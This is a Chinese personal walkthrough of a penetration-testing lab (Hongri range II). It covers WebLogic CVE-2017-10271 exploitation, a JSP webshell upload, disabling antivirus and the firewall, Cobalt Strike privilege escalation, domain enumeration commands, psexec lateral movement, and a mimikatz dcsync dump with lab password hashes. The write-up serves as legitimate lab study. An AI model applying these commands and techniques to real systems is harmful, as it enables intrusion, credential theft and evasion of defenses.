当前位置：首页 > news >正文

红日靶场（二）——个人笔记

news 来源：原创 2025/8/9 15:06:40

靶场搭建

新增VMnet2网卡

**web：**需要配置两张网卡，分别是外网出访NAT模式和内网域环境仅主机模式下的VMnet2网卡。

**PC：**跟web一样，也是需要配置两张网卡，分别是外网出访NAT模式和内网域环境仅主机模式下的VMnet2网卡。

**DC：**只是内网网段，所以只需配置仅主机模式

靶场的web和pc网关是192.168.111.1，网关设置为192.168.111.2，需要把外网nat网关改为.2。

账号：administrator

密码：1qaz@WSX

在web服务器上启动weblogic服务，用管理员权限administrator/1qaz@WSX打开startweblogic。
使用管理员模式依次执行脚本
路径C:\Oracle\Middleware\user_projects\domains\base_domain\bin

浏览器访问http://192.168.111.80:7001，看到Error 404即启动成功，靶场搭建完成。
Weblogic登录界面：http://192.168.111.80:7001/console

至此，环境搭建完成

外网探测

Oracle WebLogic Server的登录页面

系统版本：
WebLogic Server 版本: 10.3.6.0

思路：测试弱口令，测试SQL，找历史版本CVE打，抓包分析

弱口令没有成功
尝试sqlmap没有成功

python sqlmap.py -r F:\1.txt -p j_password --dbs

尝试找历史CVE打：weblogic_10.3.6_unserialize _CVE-2017-10271

在这之前，先进行一下简单的目录扫描和端口扫描

nmap -Pn -sT 192.168.111.80
dirsearch -u http://192.168.111.80:7001/

使用weblogic漏洞扫描工具打CVE

验证存在漏洞

发现可以任意命令执行，且为administrator用户权限

思路：
这里我注意到网页的url可以查看图片位置，在这里或许可以尝试上传图片马

上传shell

但是并没有上传成功

查阅后，可以通过上传jsp马拿shell
尝试访问http://192.168.111.80:7001/uddiexplorer/
右上角图片新建窗口打开，复制url

http://192.168.111.80:7001/uddiexplorer/oracle_logo.gif

复制图片文件名，在weblogic中查找位置：

find / -name "oracle_logo.gif"

利用失败，windows系统，尝试使用windows命令搜索（我犯病了，自己搭的windows靶机用Linux命令………………）

dir /s /b oracle_logo.gif

找到文件位置：

C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\5f6ebw\war\oracle_logo.gif

尝试在这个路径下上传木马

显示空白，上传成功！

尝试远程连接，连接失败，尝试哥斯拉上传jsp木马
生成jsp木马：

上传成功，尝试godzilla远程连接

连接成功！：

至此，拿到入口机shell

打入内网

已经拿到shell
这里乱码问题没解决，用蚁剑连接(最后还是用哥斯拉上传的jsp木马用蚁剑连接)

但是无法执行net view ,可能现在拿到的不是域内用户
执行ipconfig /all
可以发现主机有俩张网卡，10.10.10.0/24可能是域内网段

查看进程，可以发现有360的杀毒软件（这里免杀没学会，直接关掉杀毒软件了……）

上线CS

这里看到上线的用户为Administrator，并非域内用户。

尝试用梼杌插件提权

提权成功，扫描内网：

ipconfig /all            #查看域，及域内网段
tasklist /svc            #查看进程，检测是否有防火墙
net view                 # 查看局域网内其他主机名
net config Workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators # 查看本地管理员组（通常会有域用户）
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组，查看把用户分了多少组（只能在域控上操作）
net group 组名 /domain    # 查看域中某工作组
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "domain controllers" /domain  # 查看域控制器主机名（可能有多台）

域内用户：“Administrator”“de1ay”“Guest”“krbtgt”“mssql”

这里看到域中除了域控DC还有PC和已经拿到的WEB机器

查看域控制器

信息收集：
内网网段：10.10.10.0/24
外网网段：192.168.111.0/24
域控名：DC
内网机器：PC，WEB

探测域控

Fscan：

fscan -h 10.10.10.0/24 -np -nopoc -nobr探测内网网段：./fscan -h 10.10.10.0/24 -np -nopoc -nobr -p

信息收集：
PC：外网ip：192.168.111.201内网ip：10.10.10.201
DC：10.10.10.10

DC端口探测：

fscan -h 10.10.10.10 -p 21,22,80,88,135,139,389,443,445,636,1433,3306,3389,5985,6379

信息收集：
DC开放端口：88，135，139，389，445，636，3389，5985

横向移动

拿下域控

SMB Beacon:

SMB Beacon使用命名管道通过父级Beacon进行通讯，当两个Beacons链接后，子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信，此流量封装在SMB协议中，所以SMB beacon相对隐蔽。SMB beacon不能直接生成可用载荷, 只能使用 psexec 或 Stageless Payload 上线

使用 smb beacon，由一台已经拿到 beacon 的机器，抓取密码后进行smb喷射，得到另一台开放445端口的机器上的administrator账户密码，在目标机器不出网的情况下，可以使用smb beacon使目标主机上线。

简略原理：

假设有三个主机 a b c，我们的C2是a且我们已经有了b的权限，b可以访问c，c也可以访问b但不能访问a
这时候我们就可以使用smb beacon 然主机C上线。(前提是有主机C的账号密码)

使用条件：

- 具有 Beacon 的主机必须接受 445 端口上的连接。
- 只能链接由同一个 Cobalt Strike 实例管理的 Beacon。
- 必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据。

使用portscan扫描一下内网

显示targets列表

新建beacon SMB监听器

使用psexec上线域控:

解释一下我对上面realm的理解：

google：在 Web 安全中，Realm通常指的是一种保护区域，用于区分不同的安全域或资源。
DESKTOP-LANDMRU：独立计算机，不属于任何域，这里应该指PC
WEB：WEB的账户
de1ay.com和de1ay这里我不太清楚，可能是登录域内的机器

获取ntds.dit文件

在线破解：前提是有管理员权限。

Mimikatz有一个功能（dcsync），它可以利用目录复制服务（Directory Replication Service, DRS）从NTDS.DIT文件中提取密码哈希值。可以通过dcsync直接获取test域内所有用户hash
lsadump::dcsync /domain:de1ay.com /all /csv也可以获取单个用户的详细信息  
lsadump::dcsync /domain:de1ay.com /user:kertgt可以查看所有用户的所有详细信息  
lsadump::lsa /inject

beacon> mimikatz lsadump::dcsync /domain:de1ay.com /all /csv
[*] Tasked beacon to run mimikatz's lsadump::dcsync /domain:de1ay.com /all /csv command
[+] host called home, sent: 813886 bytes
[+] received output:
[DC] 'de1ay.com' will be the domain
[DC] 'DC.de1ay.com' will be the DC server
[DC] Exporting domain 'de1ay.com'
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
502	krbtgt	82dfc71b72a11ef37d663047bc2088fb	514
1002	DC$	39d74ac4cdd07a6b0855df6e37b6e815	532480
2103	mssql	161cff084477fe596a5db81874498a24	66048
1001	de1ay	161cff084477fe596a5db81874498a24	66048
1603	WEB$	57e157ab6f45290ad8205651dbd27dcb	4096
1105	PC$	ea6b2055e2f4a1c5fc42058fbfc4b2d5	4096
500	Administrator	161cff084477fe596a5db81874498a24	512

总结与反思：

1.有没有方法做免杀绕过360
2.关于关闭防火墙的命令：

shell netsh advfirewall show all state  		  //查看防火墙状态
shell netsh advfirewall set allprofile state off  //关闭防火墙